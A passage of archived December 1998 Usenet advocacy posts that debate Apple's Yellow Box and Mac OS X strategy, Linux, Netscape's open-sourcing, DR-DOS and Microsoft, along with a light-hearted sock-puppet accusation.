collective effort. Without that support, common peripherals mean only
as much as they do to Mac users today.
> <<clip>>
>
> >> I understand _why_ you would want Apple to support Linux, I just don't
> >> think Apple can justify an attempt to sell to a portion of a 8-10 million
> >> user market at the expense of reneging on its promises to a 22+ million
> >> user market.
> >I don't see YB for Linux being much different from YB for Windows in
> >that respect.
>
> The Windows market share is how many times larger than the Linux market share?
I was replying in the context of "reneging promises". (let's stay
metric :^)
> > In fact, YB/Linux might - if Mac OS X remains
> >'not-available' for pre-G3 PowerMacs - provide a way to actually keep
> >some of their promises. Like allowing my '97 PowerMac to run YB apps
> >on an advanced, multi-tasking environment.
>
> What model? From what I understand all of the [7,8,9][5,6]00 Macs will
> run OSX Server. They may or may not be supported under OSX.
May run, at your own risk, unsupported, without sound support etc.
Apple says G3's or later may only apply.
> You have a point though.
>
> > If any WinXX PC user has
> >that option but my Apple-branded, "sold as Rhapsody-compatible" Mac
> >doesn't run either Mac OS X or Linux _with_ Yellow Box... who's
> >getting screwed at the expense of whom?
>
> Another good point. But seeing that those boxes won't run Mac Apps,
> having Linux would do little good.
I bought it for Rhapsody (i.e. YB apps), not Classic Mac apps.
(remember my criteria).
> >Also, I would like to point out that while the Linux market is an
> >estimated 8-10 million seats (with something like doubling every year)
> >Apple's own Mac OS X-compatible market will be more or less the number
> >of G3 systems sold, not anywhere near 22+ million.
>
> Apple is going to use OSX to convince those 22+ million to upgrade. FWIW,
> a lot (maybe most) of those people are running '030 and '040 boxes.
I doubt that the number of still adequately usable (thus still in
active use) Macs is anywhere near 20 million. Thanks to their growing
irrelevance as "internet machines" and discontinued Mac OS support
even '040's are getting abandoned. Now, not late next year. How many
of those who had to upgrade have already done so or just jumped ship?
How many "pre-G3" owners will refuse another hardware upgrade after
being burned with non-compatibility? Mac OS X's potential is also
limited by the number of compatible systems available, not by the
number previous and now-obsolete Macs ever sold. Around three million
of such systems are sold in a year currently. Hopefully more next year
but nevertheless...
Linux market. OTOH, is very f l e x i b l e and looking forward to
reaping a windfall from Microsoft's Windows 2000 push.
> >Besides, it sometimes feels as if Apple didn't have to justify
> >anything to anyone anyway. <g>
>
> They do have to justify things to the stock holders.
See you at the Town Hall next spring? :-)
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com>
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Date: 14 Dec 98 09:04:20 GMT
On Sun, 13 Dec 1998 18:33:34, sal@panix.com (Sal Denaro) thought
aloud:
> On 13 Dec 98 13:35:45 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> <<big clip>>
> >True, but the more Yellow Box ("Apple-optimized") apps there are, the
> >better chances Apple has making their Mac OS X hardware attractive to
> >buyers, incl. new-comers. Where YB (or Carbon) apps aren't available,
> >it's time to look at the BSD ports.
>
> I agree with this 100%, Apple should work to open up YB development.
> What we disagree on is the method of doing this :)
What's a minor deathmatch between friends... <g>
Actually, I believe our disagreement lies mostly in the time frame
issue (with the underlying question being whether or not Linux has
much strategic importance in near to medium term).
> >> Personally I
> >> think the MacOS X advantage will be in the ability to run both the
> >> shrinkwrapped apps and the Unix apps, I'll reference the chemisty example
> >> in my previous post. Also consider how common it is for Linux workstations
> >> to dual boot to Windows.
> >You mean Yellow Box and Unix apps...? I think I agree. ;-) Some
> >people argue that YB on Linux would leave Mac OS X without any
> >significant selling points or Apple's PowerMac line unattractive if
> >Yellow Box runs on cheapskate hardware. (well, it already runs on
> >those boxes on Windows...)
>
> That "some people" is me?
Nope, your "me" is just "you" to me. The hardware sales loss argument
is very obvious and justifiable and countering it does take a
benevolent leap of faith in Jobs' words and Apple's capabilities wrt.
Apple's hardware becoming cost-competitive.
> I look at it this way, if I can buy a cheap PC for $1200 and install
> "YellowHat" Linux for $40, why would I want to pay more for a Mac?
We both know the USP's of PowerMacs (better in '99) and Mac OS X,
Carbon/Blue Box effect (helping avoid defections) etc.
Allow me to spell out some of my beliefs again. The above system would
be more attractive to the Windows-using public (later in '99) _if_
Yellow provides tangible benefits. Even if YB runtime itself is free
Apple will benefit from the "network effect" with the market for their
add-ons, tools and services growing. It's also better for Apple to
have new PC's shipping/running with YellowHat than Windows which would
reduce Apple's synergistic opportunities.
The keyword was "YellowHat Linux". There are way over 100 million
Linux-capable PC's in the world which Microsoft can't drag screaming
to Windows 2000 for obvious horsepower reasons. I can see tremendous
opportunity here in selling "YellowHat" upgrades to this crowd (riding
Linux's mindshare and PC compatibility) with the abovementioned Yellow
Box benefits intact. Besides sales opportunities, Apple would stand to
gain enormous amount of sheer goodwill and general relevance too.
> We both agree that Apple should work to add value to its hardware, what
> I don't see is how making YB free (and in this context I mean more than
> the runtime. I am also refering to the UI and tools) on lower cost
> hardware is going to add value to Apple's hardware.
I would like to see Apple begin image-building by making (little)
concessions towards the open source (Linux) crowd at regular
intervals. I'm not advocating that everything should be there _now_,
totally FOC and GPL'd. Eventually YB for Linux runtime will be free
and hopefully Apple can figure out what code and under what license to
release into open so that it will bring more synergy between Mac OS X
and Linux. Having YB (development) tools available on Linux,
affordably, would be important for reason I've explained in earlier
exchanges.
> >I believe Jobs will manage to keep narrowing the white-box vs. Mac
> >price difference to make it a non-factor, perhaps even favouring Apple
> >in price/performance comparisons.
>
> I don't see this happening any time soon. Someone was passing a rumor
> that next month Apple would be selling 300mhz g3 systems with 100mhz
> bus and rage128 video starting at $1299 with 64mb/9gb IDE. I very much
> doubt this. If Apple is going to match the white-box prices, if will take
> _years_ and a lot of luck to do so.
Without commenting on rumours of individual setups, I'm fairly
convinced that already Apple's hardware (newer simplified lineups) is
manufactured at costs equal or very near to those of brand-name PCs.
It's a margins & volume game. For PowerMacs ever to _beat_ equally
built PC prices Apple needs additional revenue from PC software (YB
and related) sales to pay for their software, incl MOSX development.
If managed well, Apple has a second chance at becoming a major force
in the software world.
> >Box's adoption rate. Where necessary, instead of Windows-Linux dual
> >boot one can enjoy of Mac OS X/Linux dual boot. I think Apple would
> >prefer the latter... ;-)
>
> Unix users might perfer the latter as well. :)
>
> >There are smoke signs rising from Cupertino which some Apple-watching
> >soothsayers interpret as indications that Apple is at least aware of
> >these issues and _perhaps_ even discuss and experiment with different
> >Yellow Box, Open Source and Linux licensing strategies. For now I
> >remain cautiously optimistic.
>
> I wouldn't be shocked if the source for the BSD parts of OSX server
> were shipped with the OSX dev tools. I would be _very_ shocked if Jobs
> introduced Larry, Linus and RMS to the crowd at Mac world.
Larry... "Jobs and I are friends ya know", Linus... (to audience) "why
don't you all join us here on stage?" RMS... "grrrr... lemme outta
this &%#=A4 gage!!"
<g>
Brgds,
--
taiQ
[this space is intentionally blank]
Message-ID: <365C3CDF.35E0519B@home.com>
From: Ari <arikounavis@home.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: J. Walt Covington is Jonathan Harker (was Re: "Knife the baby"
finally appears)
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981225020001@pm61-44.magicnet.net> <365C3A55.1E8FD416@spamtoNull.com> <73ie0p$35j@news1.panix.com> <365CBEBE.1E30454D@yahoo.com>
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Date: Tue, 08 Dec 1998 15:06:52 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 00:06:52 JST
Organization: Global Online Japan
Robert Fovell wrote:
>
> Sal Denaro wrote:
> >
> > On Wed, 25 Nov 1998 12:11:49 -0500, Jonathan Harker
> > <Limeyville@spamtoNull.com> wrote:
> > >> "J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> > >I can't speak for him, but...
> >
> > Of course you can, "John Walter Covington" is "Jonathan Harker".
and I bet he killed Colonel Mustard with the candle stick in the
conservatory!
> >
> > You both use Earthlink.
> > You both use Netscape 4.5
> > You both use on Win98
> > You are both in the same newsgroups (and only these newsgroups)
> > You both use the same emoticon forms (ellipses and ending smiley.)
> > You are both fond of starting a reply with phrases like "You are
> > completely missing the point" and "Let's try it again slow…"
> > You are both named "John"
> > You are both fond of enumerating a list by starting with "First, "
> > and then never listing a "second" or "third".
> > You both echo the same opinions.
> >
> > It is pretty easy to see that there are just too many coincidences.
> >
> > Ohh, and if you try to deny it; I'll just send a polite inquiry to
> > Earthlink and get them to give me a strait answer.
The jig is up Harker, or should I say Covington...
>
> Plus: NNTP-Posting-Hosts for "Covington" and "Harker", drawn from recent
> posts in this thread...
>
> 1cust139.tnt16.atl2.da.uu.net
> 1cust75.tnt16.atl2.da.uu.net
>
> So, Johnny created an alias. Look at the bright side: he finally has someone
> who agrees with him :-)
>
> To everyone else: I started this "Knife the baby" thread, and I most humbly apologize!
>
> --
> Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
>
> http://uniblab.atmos.ucla.edu/~fovell [science page]
> http://home.earthlink.net/~rfovell [PC parody page]
>
> "That's not what a Mac does. I want Mac on the PC.
> I want Mac on the PC." -- Bill Gates
ari
From: Sean Mc Cann <spmccann@hotmail.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 11:14:43 +0000
Organization: Intel
Message-ID: <3674F323.D6C@hotmail.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <slrn77900a.oml.float@interport.net>
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void wrote:
>
> Perhaps programmers should be required to do either systems programming,
> tech support or system administration before they're allowed to write
> applications.
Amen to that.
From: Tim Kelley <tpkelley@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Mon, 14 Dec 1998 06:17:42 -0600
Organization: ICGNetcom
Message-ID: <367501E6.A1DF18E9@ix.netcom.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com>
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Sal Denaro wrote:
>
> Prior to being opensourced, Netscape had a large following on
> Linux. The only thing that changed after was that a number of
> opensource browser projects were killed due to lack of interest.
Give it some time; the new browser is looking pretty good.
--
Tim Kelley
tkelley@ix.netcom.com
New Orleans, LA
From: Tim Kelley <tpkelley@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Mon, 14 Dec 1998 06:19:37 -0600
Organization: ICGNetcom
Message-ID: <36750259.171E58DC@ix.netcom.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com>
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Sal Denaro wrote:
>
> On Thu, 10 Dec 1998 01:27:48 -0800, jedi@dementia.mishnet
> <jedi@dementia.mishnet> wrote:
> >>>Sal Denaro <sal@panix.com> wrote:
> >>>: Making NS opensource has not helped Netscape gain market share.
> > With it being bundled with everything that Microsoft
> > sells these days it's not quite so much rather or not
> > Netscape gained or lost but how little or how much it
> > lost when %95 of the market is a captive audience.
>
> My point still holds, making NS opensource has not helped Netscape gain
> market share.
The Open Source browser (ver 5) has not been released yet, so your point
is meaningless. It scheduled for release mid-next-year, so check back
then. ver 4x is still a bloated crap-hog.
thanks.
--
Tim Kelley
tkelley@ix.netcom.com
New Orleans, LA
From: Tim Kelley <tpkelley@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 06:55:16 -0600
Organization: ICGNetcom
Message-ID: <36750AB4.AE89FAE9@ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <913564390.148534@soam.wwnet.net>
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Sean wrote:
>
> That's just out and out not true.
>
> Windows apps are very extendible. Ever hear of OLE2? It's very powerful.
> Let's I want to add flowcharting capability to Word, all I have to do is
> install ABC Flowcharter. During ABC's installation, I get a prompt asking
> if I want to add Flowcharter's buttons to MS Office. If I say "Yes", I get
> a MicroGrafix's tool bar in my MS office apps. Then all I need to do is
> click on one of the buttons an I get full flowcharting capabilities in Word.
> It's even more flexible than that. I can distribute my word document with
> the embedded flowchart to people with Word but not ABC Flowcharter. They
> can read the file with no loss of data. Simply by embedding the ABC
> Flowchart in my Word document, I've extended Word so that it can read ABC's
> file formats. I haven't seen anything like OLE on UNIX systems.
So, does ABC Flowcharter support every other word processor and
spreadsheet out there in this way as well?
The answer is of course no, and that should tell you what an absolute
mess this approach is.
--
Tim Kelley
tkelley@ix.netcom.com
New Orleans, LA
From: Tim Kelley <tpkelley@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 07:00:55 -0600
Organization: ICGNetcom
Message-ID: <36750C07.406C0211@ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com>
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Willy wrote:
> Digital Research produced a version of DOS that simply wasn't worth
> the money I paid for it. I bought version 5 and later upgraded to
> version 6. There simply wasn't anything there to make it stand out.
> So why buy a fake when you could have the real thing for the same
> money? There was just no reason for DR-DOS to exist.
?????????????????????????????????????????????????????
I can't believe anyone who has spent any time with DR_DOS thinks MS_DOS
is better. It was (is) most CLEARLY a better product.
-multi tasking, much better multi tasking than Win3x, some cases better
than 95
-no "incorrect DOS version" nonsense
-much better utilities (compare mem, fdisk, etc. from both)
-no memory nonsense
I could go on ... but you obviously did not spend any time with it or do
not know DOS well enough to notice the huge differences.
--
Tim Kelley
tkelley@ix.netcom.com
New Orleans, LA
Date: Mon, 14 Dec 1998 06:43:11 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <joe.ragosta-1412980643110001@elk65.dol.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost>
In article <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> Agreed. Even "analysts" predict that Apple's hardware shipments have
> stabilized at around 2.9M/year into the foreseeable future, based on
> Apple's continuing on proprietary path.
Just curious--is this the same group of analysts who declared Apple dead
every year from 1984 to 1998 or have you found a different group of
analysts?
--
Regards,
Joe Ragosta
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 13:20:14 +0000
Organization: Cadence Design System, Inc.
Message-ID: <3675108E.76F17B0F@cadence.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu>
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> In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
>
> IBM didn't "decide to make it an open system" - it was
> reverse-engineered by a competitor and the clones began (See "Triumph of
> the Nerds", PBS)
The BIOS was reverse engineered by Compaq when they made the first portable
PCs. IBM did not intend the architecture to be cloneable, but they did
intend it to be 'open' in the sense that they told people how to make
expansion cards for the PC.
Simon
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: NEXT UI on MacOS 8.x
Message-ID: <14Nc2.20795$q15.465873@news.san.rr.com>
Date: Sun, 13 Dec 1998 02:54:18 -0800
NNTP-Posting-Date: Sun, 13 Dec 1998 02:57:01 PDT
Organization: TWC Road Runner, San Diego, CA
Hi,
I recall people asking about this before so here I go:
Via the magic of the Kaleidoscope control panel (<http://kaleidoscope.net/>)
for System 7 through Mac OS 8.5, someone has put together what looks like a
good rendition of the unused NEXTSTEP 4.0 UI.
<http://kaleidoscope.net/schemes/new.shtml>
(see "NEXTSTEP 4" under "New Schemes")
FYI.
--Ed.
From: danielt@techweb.dgii.com (Daniel Taylor)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com> <3670D91D.A02D0BE7@nstar.net> <74u5bh$bb4@news1.panix.com>
Message-ID: <slrn77a67c.jsk.danielt@techweb.dgii.com>
Date: 14 Dec 98 13:57:24 GMT
NNTP-Posting-Date: Mon, 14 Dec 1998 07:57:27 CDT
Sal Denaro <sal@panix.com> wrote:
>On Fri, 11 Dec 1998 02:34:37 -0600,
> Michael J. Peck <mjpeck@nstar.net> wrote:
>>Read again. He said "developers", not "users".
>
>And I was talking about Marketshare.
>
>Netscape's marketshare has not increased since it became opensourced.
>The approval of the Linux development community of Netscape's actions
>are not in question, and are tangential (if not totally irrelevant) to
>the discussion.
>
>The support of the Linux community may or may not increase the market
>share of Netscape. It is too early to tell. As it stands now, the action
>of making netscape opensource has not increased netscapes market.
>
Market share in the browser market is largely skewed by
events outside the browser market.
IE would have a fairly large market share regardless of other
considerations simply by being at least as good as Netscape
and Microsoft branded. Being bundled gives it an effective lock
on the Windows browser market and the fact that Netscape has
any market share left in that market is nothing short of
incredible.
Under Linux there are few options, and Netscape has some advantages
there. Mozilla is sufficiently open to take full benefit of those
advantages. If this rolls back to Windows, so much the better.
So watch, wait, do whatever you want. I'd say that it is still
early to tell the final impact of Mozilla.
--
Daniel Taylor
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 14:07:17 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36751b1f.747444@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <19981213123502842284@ts2-18.aug.com> <pxpst2-1312981355020001@pelli.pathology.pitt.edu> <3674321d.370642@news2.asan.com> <pxpst2-1312981735570001@pelli.pathology.pitt.edu>
On Sun, 13 Dec 1998 17:35:57 -0500, in comp.os.ms-windows.advocacy
pxpst2@unixs.cis.pitt.edu (Peter) wrote:
>But I was talking about the OS which has no competition not the apps like
>Office/word which do have competition.
The price of the OS remains the same, but there's a great deal more
technology in there. Doesn't that count for anything?
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-Xdd3x94BzHOY@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com> <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost> <74niq6$but@news1.panix.com> <FIiROLCWddLd-pn2-3BcsyxQ4PxDT@localhost> <74qc66$7pg@news1.panix.com>
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Date: 14 Dec 98 14:20:19 GMT
On Fri, 11 Dec 1998 05:56:22, sal@panix.com (Sal Denaro) thought
aloud:
> On 10 Dec 98 13:34:07 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
[snip]
(about Solaris and HP/UX)
> > The question Apple faces is
> >whether potential sales on those platforms justify the costs of
> >porting and support by Apple.
>
> Right now? No. And the costs would be less than or equal to the costs
> of porting to Linux first.
I consider this as a pro-YB for Linux argument.
[snip]
> >> If anything, YB on Solaris and HP/UX would make a Linux port a lot
> >Wouldn't it also work the other way around? With Linux being the base?
>
> If you were an Apple customer running WO on Sun hardware (and not the
> full YB), what would you think of Apple building YB on Linux? You might
> feel the same way as owners of Macs that won't run OSX feel about Apple
> selling an OS that runs on x86 machines and not their Macs.
Sun is bundling Linux with their SPARC hardware so the h/w investment
would be safe with YB for Linux. This would actually speak dropping
the Solaris port altogether, if Apple's resources are tight.
[snip]
> I don't doubt that linux is building marketshare in the enterprise
> market, but as it stands now that market is the territory of big unix
> servers. Just about every big shop I know uses NT on the desk and
> Sun or HP hardware in the back. For now, Solaris is more important
> to WO than Linux.
Is it Solaris, or the SPARC hardware, that would be important for
Apple to support for WebObjects' sake? Sun's hardware supports and is
even being bundled with Linux.
> >> I doubt very much that either HP or Sun care about YB at the point. The
> >> only way I can think of that HP or Sun might help Apple do a port is
> >> if Apple gives them QuickTime in exchange.
> >Huh? In that case I would forget about supporting these platforms and
> >instead put an extra effort behind WO, QTML and YB on Linux and offer
> >customers on those platforms attractive enough packages to help them
> >emigrate to greener pastures. Running either Mac OS X or Linux.
>
> If Apple went to existing WO on Sun/HP customers and said, "we don't
> want to support HP and Sun hardware and software, please switch to
> Linux" they would lose both credibility and customers.
Sun is bundling their SPARC hardware with Linux, and even planning to
build Linux-compatibility right into Solaris as well. What are _they_
nudging their customers towards?
> >Linux could
> >provide YB and Java with a neutral growing place while allowing other
> >OSes too benefit thanks to either easy porting or inherent platform
> >indepence of these technologies.
>
> Any OS can provide YB a neutral growing place.
But proprietary OS vendors are known to intentionally create
incompabilities or "changes" into their OSes if it helps them fend off
potential competition. E.g. Windows 3.11 "upgrade" broke OS/2's
WIN-OS2 compatibility just weeks after latter's release. No one has
such ambitions among the Linux ranks, and being open source, any
problems could be found and fixed even within hours of release anyway.
Will Solaris be friendly towards YB? Will the friendliness last, esp.
if YB is seen as a competitor-on-steroids to Java? Is Solaris port
worth a lot of effort and high priority, considering Sun, too, is
embracing Linux on their hardware?
> >If someone opts for a cheaper (although slower) PC, or isn't ready to
> >dump existing Intel hardware quite yet, they could still be part of
> >the solution instead of problem by running YB. They'd also be an ideal
> >target for commercial YB enhancements. If someone wants "near-Mac OS X
> >-like" Yellow Box experience (there's much more to Mac OS X on
> >PowerMac than YB though, as I argue above) on PC Apple should be
> >willing to consider it a sale instead of declining it.
>
> And why does this have to be on Linux? If a person wants to run YB on
> an x86 Unix platform, isn't OSX just that?
Apple has been saying that OSX will be PowerPC only. What other x86
platforms, esp. x86 Unix platforms would you consider more important
to Yellow Box's success than Linux, all things considered?
To sum things up, I'm not saying Solaris' or HP/UX's Yellow Box
support should be scrapped - only that Linux IMO deserves a strategic
revaluation.
Brgds,
--
taiQ
[this space is intentionally blank]
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 14:11:22 +0000
Organization: Cadence Design System, Inc.
Message-ID: <36751C8A.2C01351A@cadence.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de>
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Matthias Buelow wrote:
>
> petrich@netcom.com (Loren Petrich) writes:
>
> > Consider Linux -- the writers of the Halloween Documents had
> > conceded how high-quality it is. It has a reputation for being *much* more
>
> Linux is not high quality. It *really isn't*. Or why would you have
> so many bugs, quirks and incompatibilities in it.
You are talking about different things. The *kernel* is about as close to
bug free as software gets, as witnessed by the lack of system crashes. It
has very few hardware incompatibilities and all those I've ever heard of
were the fault of the hardware vendors. When you can tell me what a 'quirk'
is, I'll explain why there aren't any.
The average Linux distro, especially RH x.<2 normally has a number of bugs
of varying severity, and some compatibility problems, though not usually
with hardware.
> It is somewhat working
> software, of a somewhat better quality in its domain than Microsoft
> Windoze in its own, but still. Uggh, gimme the barf bag. It's major
> advantage is that it's free. I don't care if the source for linux is
> free aswell, I have looked at it, and I don't want to do that again.
I take it from that you don't do much C programming ? The Linux kernel and
some of the utilities are exmaples of *clean* and *well*written* C code.
Simon
Sender: token@aruba.informatik.uni-wuerzburg.de
In-reply-to: willy1@rocketmail.com's message of Mon, 14 Dec 1998 14:07:17 GMT
